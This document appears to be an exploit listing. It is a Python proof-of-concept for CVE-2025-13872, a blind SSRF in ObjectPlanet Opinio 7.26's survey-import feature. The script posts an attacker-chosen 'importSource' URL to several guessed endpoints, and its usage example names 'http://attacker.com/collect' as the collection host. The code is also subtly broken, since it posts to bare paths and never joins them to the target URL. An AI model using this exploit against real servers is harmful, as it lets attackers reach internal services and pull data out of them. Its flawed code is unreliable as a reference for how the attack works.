CVE-2025-13872: ObjectPlanet Opinio 7.26 盲SSRF漏洞

import requests import sys # CVE-2025-13872 PoC - Blind SSRF in ObjectPlanet Opinio 7.26 # Target: ObjectPlanet Opinio survey-import feature def exploit_ssrf(target_url, attackercontrolled_url): """ Exploit Blind SSRF vulnerability in survey-import feature target_url: Base URL of vulnerable Opinio installation attackercontrolled_url: URL to be requested by server (e.g., internal service) """ # Construct the malicious import request endpoint = f"{target_url.rstrip('/')}/surveyimport" # Common Opinio import endpoints endpoints_to_try = [ "/surveyimport", "/import/survey", "/admin/surveyimport", "/surveys/import" ] headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; SSRF-Test-Bot)" } # The payload exploits the import feature to trigger SSRF # Adjust parameters based on actual application behavior payload = { "importSource": attackercontrolled_url, "importType": "survey", "action": "import" } for endpoint in endpoints_to_try: try: print(f"[*] Trying endpoint: {endpoint}") response = requests.post( endpoint, data=payload, headers=headers, timeout=10, verify=False ) print(f"[+] Request sent to {attackercontrolled_url} via {endpoint}") print(f" Response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error with {endpoint}: {str(e)}") return True if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2025-13872-poc.py <target_url> <attacker_url>") print("Example: python cve-2025-13872-poc.py http://vulnerable-server.com http://attacker.com/collect") sys.exit(1) target = sys.argv[1] attacker_url = sys.argv[2] print(f"[*] CVE-2025-13872 - Blind SSRF in ObjectPlanet Opinio 7.26") print(f"[*] Target: {target}") print(f"[*] Attacker-controlled URL: {attacker_url}") exploit_ssrf(target, attacker_url)